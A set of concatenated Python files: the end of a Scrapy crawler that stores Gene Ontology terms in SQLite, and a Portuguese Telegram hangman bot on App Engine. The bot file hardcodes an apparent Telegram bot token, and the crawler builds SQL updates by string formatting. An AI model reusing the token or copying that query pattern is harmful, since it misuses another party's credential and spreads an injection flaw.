time.mktime(time.strptime(item['Date'], "%Y-%m-%d %H:%M:%S")) if time_new - time_ori > self.update_time: for term in item.fields.keys(): if term == 'Accession': continue update_sql = "UPDATE {0} SET {1} = \'{2}\' WHERE Accession == \'{3}\'".format(self.sqlite_table, term, item[term], item['Accession']) self.cur.execute(update_sql) self.conn.commit() return item --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import scrapy import time import re import socket from scrapy.http import Request from scrapy.loader import ItemLoader from Gocollection.items import GoNode from Gocollection.items import GocollectionItem class BasicSpider(scrapy.Spider): name = 'basic' crawled_urls = set() def start_requests(self): goa = {} for line in open('goa_human.gaf', 'r'): if line[0] == '!': continue line_term = line.split('\t') if len(goa.get(line_term[2].upper(), [])) == 0: goa[line_term[2].upper()] = [line_term[4]] else: goa[line_term[2].upper()].append(line_term[4]) for symbol in goa.keys(): goa[symbol] = list(set(goa[symbol])) start_urls = [] for line in open('GeneSymbol.txt', 'r'): for id in goa.get(line.strip(), []): start_urls.append('http://amigo.geneontology.org/amigo/term/' + id) goa = {} start_urls = list(set(start_urls)) for url in start_urls: yield Request(url, callback=self.parse_item) def check_url(self, url): if url not in self.crawled_urls: self.crawled_urls.add(url) return True return False def parse_item(self, response): term = ItemLoader(item = GocollectionItem(), response = response) # Primary fields ddList = response.xpath('//dl[contains(@class, "amigo-detail-info")]') ddList = ddList.xpath('./dt | ./dd') ddInfo = '' ddDic = {} for dd in ddList: ddType = dd.xpath('name()').get().strip().encode('utf-8','replace') if ddType == 'dt': ddInfo = dd.xpath('./text()').get().strip().encode('utf-8','replace').replace(' ', '_') ddDic[ddInfo] = [] elif ddType == 'dd': ddData = '' ddDataList = dd.xpath('.//text()').getall() if ddDataList != None: for d in ddDataList: ddData += d.strip().encode('utf-8','replace') ddDic[ddInfo].append(ddData) for info in ddDic.keys(): if info in term.item.fields: term.item[info] = '' itemInfoList = ddDic[info] if len(itemInfoList) > 0: term.item[info] = itemInfoList[0] for i in range(len(itemInfoList) - 1): term.item[info] += ' || ' + itemInfoList[i + 1] if 'Comment' in ddDic: for i in ddDic['Comment']: addTerm = re.findall('.*replaced by:.*?(GO:[0-9]+)', i) if len(addTerm) > 0: url = 'http://amigo.geneontology.org/amigo/term/' + addTerm[0] if self.check_url(url) == True: yield Request(url, callback=self.parse_item) tree = [] levelList = [] termLevel = 0 for level in response.xpath('//div[@id="display-lineage-tab"]//ul[@class="list-unstyled"]/comment()').re('number_of_spaces.*?([0-9]+)'): levelList.append(int(level.strip().encode('utf-8','replace'))) li = response.xpath('//div[@id="display-lineage-tab"]//ul[@class="list-unstyled"]/li') if len(li) == len(levelList): for index in range(len(levelList)): liTest = li[index].xpath('./a/text()') if len(liTest) == 0: liTest = li[index].xpath('./span/text()') nodeInfo = liTest.get().encode('utf-8','replace').split('\xc2\xa0', 1) nodeInfo.append(li[index].xpath('./img/@title').get().encode('utf-8','replace')) if nodeInfo[0] == term.item['Accession']: termLevel = levelList[index] tree.append(GoNode(levelList[index], nodeInfo[2], nodeInfo[0], nodeInfo[1])) term.item['TreeView'] = '' if len(tree) > 0: term.item['TreeView'] = str(tree[0].Level) + ' // ' + tree[0].Relation + ' // ' + tree[0].ID for i in range(len(tree) - 1): term.item['TreeView'] += ' || ' + str(tree[i + 1].Level) + ' // ' + tree[i + 1].Relation + ' // ' + tree[i + 1].ID for i in range(len(tree)): if tree[i].Level >= termLevel: break url = 'http://amigo.geneontology.org/amigo/term/' + tree[i].ID if self.check_url(url) == True: yield Request(url, callback=self.parse_item) # Info fields term.item['URL'] = response.url # term.add_value('Project', self.settings.get('BOT_NAME')) # term.add_value('Spider', self.name) # term.add_value('Server', socket.gethostname()) term.item['Date'] = time.strftime("%Y-%m-%d %H:%M:%S",time.localtime()) yield term.load_item() --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import scrapy import time import re import socket from scrapy.http import Request from scrapy.loader import ItemLoader from Gocollection.items import GoNode from Gocollection.items import GocollectionItem class TestSpider(scrapy.Spider): name = 'test' crawled_urls = set() #start_urls = ['http://amigo.geneontology.org/amigo/term/GO:0008562',] start_urls = ['http://amigo.geneontology.org/amigo/term/GO:0000904',] def parse(self, response): term = ItemLoader(item = GocollectionItem(), response = response) # Primary fields ddList = response.xpath('//dl[contains(@class, "amigo-detail-info")]') ddList = ddList.xpath('./dt | ./dd') ddInfo = '' ddDic = {} for dd in ddList: ddType = dd.xpath('name()').get().strip().encode('utf-8','replace') if ddType == 'dt': ddInfo = dd.xpath('./text()').get().strip().encode('utf-8','replace').replace(' ', '_') ddDic[ddInfo] = [] elif ddType == 'dd': ddData = '' ddDataList = dd.xpath('.//text()').getall() if ddDataList != None: for d in ddDataList: ddData += d.strip().encode('utf-8','replace') ddDic[ddInfo].append(ddData) for info in ddDic.keys(): if info in term.item.fields: term.item[info] = '' itemInfoList = ddDic[info] if len(itemInfoList) > 0: term.item[info] = itemInfoList[0] for i in range(len(itemInfoList) - 1): term.item[info] += ' || ' + itemInfoList[i + 1] if 'Comment' in ddDic: for i in ddDic['Comment']: addTerm = re.findall('.*replaced by:.*?(GO:[0-9]+)', i) if len(addTerm) > 0: url = 'http://amigo.geneontology.org/amigo/term/' + addTerm[0] self.log(url) tree = [] levelList = [] termLevel = 0 for level in response.xpath('//div[@id="display-lineage-tab"]//ul[@class="list-unstyled"]/comment()').re('number_of_spaces.*?([0-9]+)'): levelList.append(int(level.strip().encode('utf-8','replace'))) li = response.xpath('//div[@id="display-lineage-tab"]//ul[@class="list-unstyled"]/li') if len(li) == len(levelList): for index in range(len(levelList)): liTest = li[index].xpath('./a/text()') if len(liTest) == 0: liTest = li[index].xpath('./span/text()') nodeInfo = liTest.get().encode('utf-8','replace').split('\xc2\xa0', 1) nodeInfo.append(li[index].xpath('./img/@title').get().encode('utf-8','replace')) if nodeInfo[0] == term.item['Accession']: termLevel = levelList[index] tree.append(GoNode(levelList[index], nodeInfo[2], nodeInfo[0], nodeInfo[1])) term.item['TreeView'] = '' if len(tree) > 0: term.item['TreeView'] = str(tree[0].Level) + ' // ' + tree[0].Relation + ' // ' + tree[0].ID for i in range(len(tree) - 1): term.item['TreeView'] += ' || ' + str(tree[i + 1].Level) + ' // ' + tree[i + 1].Relation + ' // ' + tree[i + 1].ID for i in range(len(tree)): if tree[i].Level >= termLevel: break url = 'http://amigo.geneontology.org/amigo/term/' + tree[i].ID self.log(url) # Info fields term.item['URL'] = response.url # term.add_value('Project', self.settings.get('BOT_NAME')) # term.add_value('Spider', self.name) # term.add_value('Server', socket.gethostname()) term.item['Date'] = time.strftime("%Y-%m-%d %H:%M:%S",time.localtime()) yield term.load_item()
[ "/DAGConstruct.py", "/Gocollection/items.py", "/Gocollection/pipelines.py", "/Gocollection/spiders/basic.py", "/Gocollection/spiders/test.py" ]
0Cristofer/forca_bot
#Contem todo o gerenciamento do banco de dados #Imports from operator import itemgetter, attrgetter, methodcaller from google.appengine.ext import ndb #BD que grava as palavras class Chats(ndb.Model): chats = ndb.StringProperty(repeated=True) def checkChat(chat_id): c = ndb.Key(Chats, 'chats').get() if not (chat_id in c.chats): c.chats.append(chat_id) c.put() return True return False def getChats(): c = ndb.Key(Chats, 'chats').get() return c.chats def delChat(chat_id): c = ndb.Key(Chats, 'chats').get() if chat_id in c.chats: c.chats.remove(chat_id) c.put() return class PeDs(ndb.Model): pecs = ndb.StringProperty(repeated=True) tams = ndb.IntegerProperty(repeated=True) def getNPeD(rnd, rnd2): PeD = ndb.Key(PeDs, 'PeDs').get() matriz = [] x = [0] leg = (len(PeD.tams)) for i in range(leg): soma = x[i] + PeD.tams[i] x.append(soma) for i in range(len(PeD.tams)): pals = [] a = i+1 for j in range(x[i], x[a]): pals.append(str(PeD.pecs[j].encode('utf-8'))) #Ódio ao NDB aumentando matriz.append(pals) p = matriz[rnd][rnd2] d = matriz[rnd][0] ped = [p, d] return ped def updateList(matriz): pec = [] tam = [] for i in range(len(matriz)): tam.append(len(matriz[i])) for j in range(len(matriz[i])): pec.append(matriz[i][j]) PeD = PeDs(pecs = pec, tams = tam, id = 'PeDs') PeD.put() class Enabled(ndb.Model): enabled = ndb.BooleanProperty(indexed = False, default = False) def getEnabled(chat_id): e = ndb.Key(Enabled, chat_id).get() if e: return e.enabled e = Enabled(id = chat_id) e.put() return False def setEnabled(chat_id, status): e = ndb.Key(Enabled, chat_id).get() if e: e.enabled = status e.put() return e = Enabled(id = chat_id) e.put() e = ndb.Key(Enabled, chat_id).get() e.enabled = status e.put() return False class Rank(ndb.Model): rank = ndb.StringProperty(repeated = True) def addPlayerRank(chat_id, uName): r = ndb.Key(Rank, chat_id).get() uName = uName.decode('utf-8') if not r: r = Rank(id = chat_id) r.put() r = ndb.Key(Rank, chat_id).get() if not (uName in r.rank): r.rank.append(uName) r.rank.append('0') r.put() return def updateRank(chat_id): r = ndb.Key(Rank, chat_id).get() matriz = [] vet = [] for i in range(0, (len(r.rank)), 2): aux = [] aux.append(r.rank[i]) aux.append(int(r.rank[i+1])) matriz.append(aux) i = i+1 matriz = sorted(matriz, key=itemgetter(1), reverse=True) for i in range(len(matriz)): vet.append(matriz[i][0]) vet.append(str(matriz[i][1])) r.rank = vet r.put() def getRank(chat_id): r = ndb.Key(Rank, chat_id).get() if not r: r = Rank(id = chat_id) r.put() return [] matriz = [] for i in range(0, (len(r.rank)), 2): aux = [] aux.append(str(r.rank[i].encode('utf-8'))) aux.append(str(r.rank[i+1].encode('utf-8'))) matriz.append(aux) return matriz def addScore(chat_id, uName, score): r = ndb.Key(Rank, chat_id).get() uName = uName.decode('utf-8') index = r.rank.index(uName)+1 r.rank[index] = str(int(r.rank[index])+score) r.put() class Game(ndb.Model): preState = ndb.BooleanProperty(indexed=False, default=False) state = ndb.BooleanProperty(indexed=False, default=False) jogadores = ndb.StringProperty(repeated=True) nomes = ndb.StringProperty(repeated=True) adm = ndb.StringProperty(default='noAdm') rnd = ndb.IntegerProperty(default=0) palavra = ndb.StringProperty(default='noPalavra') dica = ndb.StringProperty(default='noDica') mascara = ndb.StringProperty(default='noMascara') letras = ndb.StringProperty(repeated=True) vidas = ndb.IntegerProperty(default = 6) vidas_init = ndb.IntegerProperty(default = 6) def menosVida(chat_id): v = ndb.Key(Game, chat_id).get() v.vidas -= 1 v.put() def getVidas(chat_id): v = ndb.Key(Game, chat_id).get() return v.vidas def getVidasInit(chat_id): v = ndb.Key(Game, chat_id).get() return v.vidas_init def setVidas(chat_id, modVida): v = ndb.Key(Game, chat_id).get() v.vidas = v.vidas+modVida v.put() def setVidasInit(chat_id, modVida): v = ndb.Key(Game, chat_id).get() v.vidas_init = v.vidas_init+modVida v.put() def setGame(chat_id): g = Game(id = chat_id) g.put() def setPeD(chat_id, ped): PeD = ndb.Key(Game, chat_id).get() PeD.palavra = ped[0].lower() PeD.dica = ped[1] PeD.put() def getPeD(chat_id): PeD = ndb.Key(Game, chat_id).get() ped = [str(PeD.palavra.encode('utf-8')), str(PeD.dica.encode('utf-8'))] return ped def setMascara(chat_id, masc): msc = ndb.Key(Game, chat_id).get() msc.mascara = masc msc.put() def getMascara(chat_id): msc = ndb.Key(Game, chat_id).get() return str(msc.mascara.encode('utf-8')) def setLetra(chat_id, letra): let = ndb.Key(Game, chat_id).get() let.letras.append(letra) let.put() def getLetras(chat_id): let = ndb.Key(Game, chat_id).get() letras = [] for i in range(len(let.letras)): letras.append(str(let.letras[i].encode('utf-8'))) return letras def setPreGame(chat_id, status): GameState = ndb.Key(Game, chat_id).get() GameState.preState = status GameState.put() def getPreGame(chat_id): GameState = ndb.Key(Game, chat_id).get() if GameState: return GameState.preState return False def setInGame(chat_id, status): GameState = ndb.Key(Game, chat_id).get() GameState.state = status GameState.put() def getInGame(chat_id): GameState = ndb.Key(Game, chat_id).get() if GameState: return GameState.state return False def addPlayer(chat_id, uId, uName): players = ndb.Key(Game, chat_id).get() players.jogadores.append(uId) players.nomes.append(uName) players.put() def setAdm(chat_id, uId): a = ndb.Key(Game, chat_id).get() a.adm = uId a.put() def getuIds(chat_id): u = ndb.Key(Game, chat_id).get() jogadores = [] for i in range(len(u.jogadores)): jogadores.append(str(u.jogadores[i].encode('utf-8'))) return jogadores def getPlayers(chat_id): p = ndb.Key(Game, chat_id).get() nomes = [] for i in range(len(p.nomes)): nomes.append(str(p.nomes[i].encode('utf-8'))) return nomes def setShuffle(chat_id, nomes, uIds): p = ndb.Key(Game, chat_id).get() p.nomes = nomes p.jogadores = uIds p.put() def rmPlayer(chat_id, rd): p = ndb.Key(Game, chat_id).get() jog = p.jogadores nom = p.nomes isAdm = (p.adm == jog[rd]) aux = rd+1 if (len(jog)-2) >= rd+1 else 0 zero = True if len(jog) == 1 else False p.jogadores.remove(p.jogadores[rd]) p.nomes.remove(p.nomes[rd]) if (not zero) and isAdm: jog = p.jogadores nom = p.nomes p.adm = jog[aux] retorno = [True, str(nom[aux].encode('utf-8'))] #Maldito NDB p.put() return retorno p.put() return [False, 'sem nome'] def getAdm(chat_id): a = ndb.Key(Game, chat_id).get() return str(a.adm.encode('utf-8')) def setRound(chat_id, rd): r = ndb.Key(Game, chat_id).get() r.rnd = rd r.put() def getRound(chat_id): r = ndb.Key(Game, chat_id).get() if len(r.jogadores) == 1: r.rnd = 0 return 0 r.put() if (len(r.jogadores) == r.rnd) or (len(r.jogadores) < r.rnd): return 0 r.rnd = 0 r.put() return r.rnd def cleanGame(chat_id): p = ndb.Key(Game, chat_id).get() p.key.delete() --- FILE SEPARATOR --- import bds def getPeD(chat_id): return bds.getPeD(chat_id) def setPreGame(chat_id, status): bds.setPreGame(chat_id, status) def setInGame(chat_id, status): bds.setInGame(chat_id, status) def getuIds(chat_id): return bds.getuIds(chat_id) def getPlayers(chat_id): return bds.getPlayers(chat_id) def rmPlayer(chat_id, rd): return bds.rmPlayer(chat_id, rd) def getAdm(chat_id): return bds.getAdm(chat_id) def setPeD(chat_id, ped): bds.PeD(chat_id, ped) def setMascara(chat_id, mascara): bds.setMascara(chat_id, mascara) def getMascara(chat_id): return bds.getMascara(chat_id) def setLetra(chat_id, letra): bds.setLetra(chat_id, letra) def getLetras(chat_id): return bds.getLetras(chat_id) def setRound(chat_id, rd): bds.setRound(chat_id, rd) def getRound(chat_id): return bds.getRound(chat_id) def checkRound(chat_id, uId): rd = getRound(chat_id) uIds = getuIds(chat_id) if (uId == uIds[rd]): return True else: return False def cleanGame(chat_id): bds.cleanGame(chat_id) bds.updateRank(chat_id) def menosVida(chat_id): bds.menosVida(chat_id) def getVidas(chat_id): return bds.getVidas(chat_id) def addScore(chat_id, uName, score): bds.addScore(chat_id, uName, score) def getRank(chat_id): rank = bds.getRank(chat_id) str1 = 'NOME - SCORE\n' for i in range(len(rank)): str1 = str1 + str(rank[i][0])+' - '+str(rank[i][1])+'\n' return str1 def getVidasInit(chat_id): return bds.getVidasInit(chat_id) class Jogo: def game(self, uId, uName, chat_id, text): emoji_heart = (u'\u2764\ufe0f').encode('utf-8') emoji_heartb = (u'\U0001f494').encode('utf-8') emoji_confetti = (u'\U0001f389').encode('utf-8') emoji_claps = (u'\U0001f44f\U0001f3fc').encode('utf-8') emoji_triste = (u'\U0001f614').encode('utf-8') emoji_poop = (u'\U0001f4a9').encode('utf-8') emoji_lua = (u'\U0001f31a').encode('utf-8') emoji_negativo = (u'\U0001f44e\U0001f3fb').encode('utf-8') emoji_bug = (u'\U0001f41e').encode('utf-8') emoji_point = (u'\U0001f448\U0001f3fb').encode('utf-8') emoji_coroa = (u'\U0001f451').encode('utf-8') emoji_blz = (u'\U0001f44d\U0001f3fb').encode('utf-8') text = str(text.lower().encode('utf-8')) rpl = [] uIds = getuIds(chat_id) adm = getAdm(chat_id) palavra = getPeD(chat_id)[0] dica = getPeD(chat_id)[1] letras = getLetras(chat_id) mascara = getMascara(chat_id) rd = getRound(chat_id) vida_init = getVidasInit(chat_id) if text.startswith('/'): if (uId in uIds) or (uId == '115277582' and chat_id == '-25285256'): if text.startswith('/palavra'): rpl.append('Palavra secreta: '+str(mascara)) elif text.startswith('/dica'): rpl.append('Dica: '+str(dica)) elif text.startswith('/letras'): letras = getLetras(chat_id) if not (len(letras) == 0): rpl.append('Letras chutadas:') str1 = '' for i in range(len(letras)): str1 = str1+str(letras[i])+' ' rpl.append(str1) else: rpl.append('Não forma chutas letras ainda!') elif text.startswith('/rank') or text.startswith('/rank@forca_bot'): rpl.append(emoji_coroa+'RANKING'+emoji_coroa) rank = getRank(chat_id) rpl.append(rank) elif text.startswith('/cancelar') or text.startswith('/cancelar@forca_bot'): if uId == adm or (uId == '115277582' and chat_id == '-25285256'): str1 = 'O administrador cancelou o jogo' cleanGame(chat_id) rpl = [str1] else: str1 = 'Você não tem autorização para cancelar o jogo\nApenas o administrador pode fazer isso' rpl = [str1] elif text.startswith('/help') or text.startswith('/ajuda'): rpl.append('Jogo em andamento, instruções:\n/chutar "letra" para chutar um letra\n/arriscar "palavra" para tentar acertar a palavra\n/palavra para checar a palavra até agora\n/dica para ver a dica\n/letras para ver a lista de letras\n/cancelar para o adm cancelar a partida\n/rank para ver o ranking') elif checkRound(chat_id, uId): if text.startswith('/chutar'): if len(text) == 9: letra = text[8] if letra in letras: rpl = ['Essa letra já foi chutada.\nUse /letras para ver uma lista das letras chutadas!'] else: locais = [] mscra = '' newM = '' nRd = rd+1 if nRd > (len(uIds)-1): nRd = 0 setRound(chat_id, nRd) if letra in palavra: for i in range(len(palavra)): if palavra[i] == letra: mscra = mscra+letra else: mscra = mscra+'*' for i in range(len(mascara)): if (mascara[i] == '*') and (mscra[i] == '*'): newM = newM+'*' elif mascara[i] == '*': newM = newM+mscra[i] elif mscra[i] == '*': newM = newM+mascara[i] setMascara(chat_id, newM) rpl = ['Voce acertou!'+emoji_claps] addScore(chat_id,uName, 2) setLetra(chat_id, letra) rpl.append(getMascara(chat_id)) nomes = getPlayers(chat_id) auxx = 0 if rd+1 > (len(nomes)-1) else rd + 1 rpl.append('Agora é a vez de: '+str(nomes[auxx])+emoji_point) else: rpl = ['Errou...'+emoji_triste] setLetra(chat_id, letra) menosVida(chat_id) nomes = getPlayers(chat_id) auxx = 0 if rd+1 > (len(nomes)-1) else rd + 1 if getVidas(chat_id) == 1: rpl.append('Vocês têm apenas uma vida restante! Tentem descobrir a palavra ou aceitem a DERROTA! '+emoji_lua) rpl.append(getMascara(chat_id)) rpl.append('Agora é a vez de: '+nomes[auxx]+emoji_point) elif getVidas(chat_id) == 0: rpl.append(emoji_poop+'LOSERS'+emoji_poop) rpl.append('O jogo acabou, utilize /novojogo para começar um novo\nCreditos: Bot criado por @bcesarg6 e @cristoferoswald\n Uma nova versão está disponível: Conheça o @playhangmanbot a nova versão do seu bot de jogo da forca! :)') cleanGame(chat_id) else: aux = vida_init - getVidas(chat_id) str1= '' for i in range(getVidasInit(chat_id)-aux): str1 = str1 + emoji_heart for i in range(aux): str1 = str1 + emoji_heartb rpl.append(str1) rpl.append(getMascara(chat_id)) rpl.append('Agora é a vez de: '+nomes[auxx]+emoji_point) else: rpl = ['Chute invalido!'+emoji_lua] elif text.startswith('/arriscar'): arrisca = text[10:len(text)] if not (len(arrisca) == 0): if arrisca == palavra: gl = '' for i in range(len(palavra)): if palavra[i] == ' ': gl = gl+'+' else: gl = gl+palavra[i] rpl.append(emoji_confetti+'Parabéns '+uName+' você acertou a palavra secreta e ganhou o jogo!'+emoji_confetti) strgoogle = 'Conheça:\nhttps://google.com/#q='+gl rpl.append(strgoogle) rpl.append('O jogo acabou, utilize /novojogo para começar um novo\nCreditos: Bot criado por @bcesarg6 e @cristoferoswald\n Uma nova versão está disponível: Conheça o @playhangmanbot a nova versão do seu bot de jogo da forca! :)') addScore(chat_id,uName, len(palavra)*2) cleanGame(chat_id) else: nomes = getPlayers(chat_id) auxx = 0 if rd+1 > (len(nomes)-1) else rd + 1 rpl.append('ERROU! '+emoji_negativo+'\n'+uName+' arriscou a palavra e errou, que burro!') rpl.append('*VOCÊ FOI OBLITERADO* '+emoji_poop+emoji_lua) addScore(chat_id,uName, -(len(palavra))) change = rmPlayer(chat_id, rd) if change[0]: rpl.append('O novo ADM é o(a): '+ change[1]+emoji_point) uIds = getuIds(chat_id) if len(uIds) == 0: rpl.append(emoji_poop+'LOSERS'+emoji_poop) rpl.append('O jogo acabou, utilize /novojogo para começar um novo\nCréditos: Bot criado por @bcesarg6 e @cristoferoswald\n Uma nova versão está disponível: Conheça o @playhangmanbot a nova versão do seu bot de jogo da forca! :)') cleanGame(chat_id) else: rpl.append('Agora é a vez de: '+nomes[auxx]+emoji_point) else: rpl.append('Tentativa inválida') else: rpl = ['Comando não reconhecido no momento, comandos reconhecidos no momento:\n/chutar "letra", /arriscar "palavra", /dica, /palavra, /letras, /rank, /cancelar (adm), /help'] elif not (checkRound(chat_id,uId)): nomes = getPlayers(chat_id) rpl.append('Não é sua vez de jogar, vez de: '+nomes[rd]+emoji_lua) else: rpl = ['Comando não reconhecido no momento, comandos reconhecidos no momento:\n/chutar "letra", /arriscar "palavra", /dica, /palavra, /letras, /rank, /cancelar (adm), /help'] else: rpl.append('Você não esta participando deste jogo '+uName+'\nlembre-se de entrar no proximo jogo se você quer participar') else: rpl = ['Não é um comando, comandos começam com "/"'] return rpl --- FILE SEPARATOR --- #-*- coding: utf-8 -*- #Responsavel pela comunicacao do nosso codigo com o app engine (a ser melhor comentado) #Imports necessarios para codificacao dos dados import StringIO import json import logging import random import urllib import urllib2 import time #Para enviar imagens from PIL import Image import multipart #Utilizados para fins da app engine from google.appengine.api import urlfetch from google.appengine.ext import ndb import webapp2 #Importa o jogo em si import bds import game import preGame TOKEN = '123881753:AAEQXNdXS9fMLIFjzlVkpQw9mMd40vvChBw' BASE_URL = 'https://api.telegram.org/bot' + TOKEN + '/' # ================================ def getPreGame(chat_id): return bds.getPreGame(chat_id) def getInGame(chat_id): return bds.getInGame(chat_id) def setEnabled(chat_id, status): bds.setEnabled(chat_id, status) def getEnabled(chat_id): return bds.getEnabled(chat_id) def checkChat(chat_id): return bds.checkChat(chat_id) def getChats(): return bds.getChats() def delChat(chat_id): bds.delChat(chat_id) class MeHandler(webapp2.RequestHandler): def get(self): urlfetch.set_default_fetch_deadline(60) self.response.write(json.dumps(json.load(urllib2.urlopen(BASE_URL + 'getMe')))) class GetUpdatesHandler(webapp2.RequestHandler): def get(self): urlfetch.set_default_fetch_deadline(60) self.response.write(json.dumps(json.load(urllib2.urlopen(BASE_URL + 'getUpdates')))) class SetWebhookHandler(webapp2.RequestHandler): def get(self): urlfetch.set_default_fetch_deadline(60) url = self.request.get('url') if url: self.response.write(json.dumps(json.load(urllib2.urlopen(BASE_URL + 'setWebhook', urllib.urlencode({'url': url}))))) class WebhookHandler(webapp2.RequestHandler): def post(self): urlfetch.set_default_fetch_deadline(60) body = json.loads(self.request.body) logging.info('request body:') logging.info(body) self.response.write(json.dumps(body)) update_id = body['update_id'] message = body['message'] message_id = message.get('message_id') date = message.get('date') text = message.get('text') fr = message.get('from') chat = message['chat'] chat_id = str(chat['id']) #gets chat id user_id = message['from'] uId = str(user_id.get('id')) #gets user id uName = str(user_id.get('first_name').encode('utf-8')) #gets user first name emoji_gritar = ' ' + (u'\U0001f4e2').encode('utf-8') if not text: logging.info('no text') return def reply(msg=None, img=None, aux=None, esp=None): resp = None if msg: resp = urllib2.urlopen(BASE_URL + 'sendMessage', urllib.urlencode({ 'chat_id': str(chat_id), 'text': msg, })).read() elif img: resp = multipart.post_multipart(BASE_URL + 'sendPhoto', [ ('chat_id', str(chat_id)), ('reply_to_message_id', str(message_id)), ], [ ('photo', 'image.jpg', img), ]) elif aux: resp = urllib2.urlopen(BASE_URL + 'sendMessage', urllib.urlencode({ 'chat_id': str(aux), 'text': 'Olá jogadores do focar_bot, estivemos passando por alguns problemas na última hora como alguns devem ter percebido. Caso não estejam conseguindo jogar, recomendamos que cancelem o jogo atual e começem um novo. Caso ainda assim não estejam conseguindo jogar, contate @cristoferoswald ou @bcesarg6. Desculpem o inconveniente.' #'text':'\t'+emoji_gritar+'***AVISO***'+emoji_gritar+'\nJogadores do forca_bot, uma nova versão do bot foi lançada! A versão 2.0 traz muitas novidades e uma interface totalmente nova. Recomendamos que você passe a utilizar o novo bot. Basta clicar em @PlayHangmanBot. Informamos que essa versão do bot não receberá mais atualizações e eventualmente será desligada, portanto utilizem o novo. Avisem seus amigos e se divirtam!', #'disable_web_page_preview': 'true', #'reply_to_message_id': str(message_id), })).read() elif esp: resp = urllib2.urlopen(BASE_URL + 'sendMessage', urllib.urlencode({ 'chat_id': str(-34151177), 'text': 'Novo chat criado', #'disable_web_page_preview': 'true', #'reply_to_message_id': str(message_id), })).read() else: logging.error('no msg or img specified') resp = None logging.info('send response:') logging.info(resp) preJogo = preGame.PreJogo() Jogo = game.Jogo() inPreGame = getPreGame(chat_id) inGame = getInGame(chat_id) enabled = getEnabled(chat_id) send = [] """if text.startswith('/Newws'): try: a = getChats() for i in range(len(a)): time.sleep(1) try: reply(aux=a[i]) except Exception, e: print e print 'nao tem chat' delChat(a[i]) except Exception, e: print e""" try: if text.startswith('/start'): if checkChat(chat_id): reply(esp='loucura') if enabled: reply('forca_bot já esta ligado. Conheça o @playhangmanbot a nova versão do seu bot de jogo da forca! :)') else: reply('Olá, eu sou o forca_bot!\n Uma nova versão está disponível: Conheça o @playhangmanbot a nova versão do seu bot de jogo da forca! :).\nPara começar um novo jogo digite /novojogo') setEnabled(chat_id, True) if (inPreGame or inGame): reply('Já existe um jogo em andamento, se quiser é só continuar jogando') elif text.startswith('/stop'): if not enabled: reply('forca_bot já esta desligado. Conheça o @playhangmanbot a nova versão do seu bot de jogo da forca! :)') else: reply('forca_bot desligado. Conheça o @playhangmanbot a nova versão do seu bot de jogo da forca! :)') setEnabled(chat_id, False) else: if enabled: if inGame: send = Jogo.game(uId, uName, chat_id, text) else: send = preJogo.preGame(uId, uName, chat_id, text) for i in range(0, len(send)): reply(send[i]) except Exception, e: print e try: reply('Ocorreu um erro, por favor, contate @cristoferoswald ou @bcesarg6. Considere migrar para o @playhangmanbot a nova versão do seu bot de jogo da forca! :)') except Exception, e: print e #------------------- app = webapp2.WSGIApplication([ ('/me', MeHandler), ('/updates', GetUpdatesHandler), ('/set_webhook', SetWebhookHandler), ('/webhook', WebhookHandler), ], debug=True) --- FILE SEPARATOR --- #-*- coding: utf-8 -*- #Contem a logica do jogo #Importa os BDs import bds #Importa funcao que randomiza um int from random import randint, shuffle #Pega as funcoes dos BDs para poderem ser utilizadas nesse arquivo def updateList(matriz): bds.updateList(matriz) def getNPeD(rnd1, rnd2): return bds.getNPeD(rnd1, rnd2) def setGame(chat_id): bds.setGame(chat_id) def setPreGame(chat_id, status): bds.setPreGame(chat_id, status) def getPreGame(chat_id): return bds.getPreGame(chat_id) def setInGame(chat_id, status): bds.setInGame(chat_id, status) def getInGame(chat_id): return bds.getInGame(chat_id) def addPlayer(chat_id, uId, uName): bds.addPlayer(chat_id, uId, uName) bds.addPlayerRank(chat_id, uName) def setAdm(chat_id, uId): bds.setAdm(chat_id, uId) def getuIds(chat_id): return bds.getuIds(chat_id) def getPlayers(chat_id): return bds.getPlayers(chat_id) def getAdm(chat_id): return bds.getAdm(chat_id) def setPeD(chat_id, ped): bds.setPeD(chat_id, ped) def setMascara(chat_id, mascara): bds.setMascara(chat_id, mascara) def getMascara(chat_id): return bds.getMascara(chat_id) def setLetra(chat_id, letra): bds.setLetra(chat_id, letra) def getLetras(chat_id): return bds.getLetras(chat_id, letra) def setRound(chat_id, rd): bds.setRound(chat_id, rd) def getRound(chat_id): return bds.getRound(chat_id) def setVidas(chat_id, modVida): bds.setVidas(chat_id, modVida) def setVidasInit(chat_id,modVida): bds.setVidasInit(chat_id,modVida) def getVidas(chat_id): return bds.getVidas(chat_id) def cleanGame(chat_id): bds.cleanGame(chat_id) def getRank(chat_id): rank = bds.getRank(chat_id) str1 = 'NOME - SCORE\n' for i in range(len(rank)): str1 = str1 + str(rank[i][0])+' - '+str(rank[i][1])+'\n' return str1 def setShuffle(chat_id, nomes, uIds): bds.setShuffle(chat_id, nomes, uIds) #\u2764\ufe0f #Classe que contem toda logica do jogo (a ser melhor comentada) class PreJogo: def preGame(self, uId, uName, chat_id, text): text = str(text.lower().encode('utf-8')) #uName = str(uName.decode('utf-8')) emoji_heart = (u'\u2764\ufe0f').encode('utf-8') emoji_heartb = (u'\U0001f494').encode('utf-8') emoji_confetti = (u'\U0001f389').encode('utf-8') emoji_claps = (u'\U0001f44f\U0001f3fc').encode('utf-8') emoji_feliz = (u'\U0001f601').encode('utf-8') emoji_lua = (u'\U0001f31a').encode('utf-8') emoji_coroa = (u'\U0001f451').encode('utf-8') emoji_sorriso = (u'\U0001f601').encode('utf-8') matriz = [ ['Animais ou espécies', 'macaco', 'elefante','zebra','papagaio','andorinha','golfinho','gorila','tubarao','lobo','ornitorrinco','cavalo','humano','lebre','coelho','piriquito','pomba','dinossauro','macaco','borboleta'], ['Comidas, sobremesas ou frutas', 'banana','miojo','cachorro quente','lasanha','salada de frutas','carambola','x-salada','frango frito','batata frita','ketchup','chocolate','morango','strogonoff','arroz e feijao','batata doce','pizza','sushi','temaki','fondue de chocolate','cupcake','donut','eclair','froyo','gingerbread','honeycomb','icecream sandwich','jellybean','kitkat','lollipop','marshmallow'], ['Profissão', 'professor', 'zelador','prostituta','tia do Xerox','medico','marceneiro','contrabandista','traficante','designer','game developer','dublador','escritor'], ['Relacionado a Computadores/Internet/Programação', 'programador','compilador','servidor','monitor','algoritmo','netflix','orkut','instagram','tumblr','twitter','rede neural','google','photoshop','wolfram alpha','python','java','framework','ruby','javascript','latex','android','stack overflow','wikipedia','debugging'], ['Pessoas importantes (ex: Presidentes ou cientistas)','albert 